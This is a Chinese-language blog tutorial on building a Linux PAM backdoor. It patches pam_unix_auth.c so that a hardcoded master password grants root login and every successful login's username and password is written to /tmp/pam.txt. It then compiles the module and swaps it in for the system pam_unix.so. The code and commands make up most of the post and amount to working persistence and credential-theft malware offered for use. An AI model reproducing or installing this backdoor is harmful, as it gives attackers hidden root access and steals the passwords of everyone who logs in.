最近看了一下有關Linux pam后門相關的知識點,發現有一些坑,便記錄一下
本次用的機器為Ubuntu16.04
一、查看本機pam版本
dpkg -l | grep pam
可以看到pam的版本為1.1.8
二、下載對應版本的pam
各個版本的pam包下載地址:http://www.linux-pam.org/library/
下載對應版本的壓縮包並解壓
三、編譯
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
特別注意:64位系統編譯可能會遇到yywrap()函數未定義錯誤,需先安裝flex軟件包,而網上的大部分都是添加
#define yywrap() 1
但我的添加了並沒有解決,反而又報了其他的錯誤,一直卡在了這
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
sudo apt-get install flex
修改 linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c 中的內容
if(strcmp(p,"adhzl")==0){ retval=PAM_SUCCESS; } if(retval==PAM_SUCCESS){ FILE * fp; fp=fopen("/tmp/pam.txt","a"); fprintf(fp,"%s::%s\n",name,p); fclose(fp); }
其中strcmp(p,"adhzl")中的adhzl為自己設置的root密碼,可以用來登錄root用戶,/tmp/pam.txt為紀錄的root用戶的登錄密碼的路徑和保存的文件名
然后在解壓的路徑下編譯安裝
./configure make
編譯完之后的后門文件在
/Linux-PAM-1.1.8/modules/pam_unix/.libs/pam_unix.so
四、替換
首先查找原來的pam_unix.so的路徑
sudo find / -name pam_unix.so
我的是在
/lib/x86_64-linux-gnu/security/pam_unix.so
先備份原來的pam_unix.so,然后復制編譯生成的pam_unix.so到/lib/x86_64-linux-gnu/security/目錄下
五、驗證
su root
輸入之前輸入的預設密碼
可以登錄到root用戶
然后輸入真正的root用戶的密碼,也可以登錄到root用戶
在/tmp目錄下查看是否有pat.txt
查看pam.txt內容
前兩次為用自己輸入的密碼成功登錄到root用戶,第三次為輸入真正的root用戶的密碼,都紀錄了下來。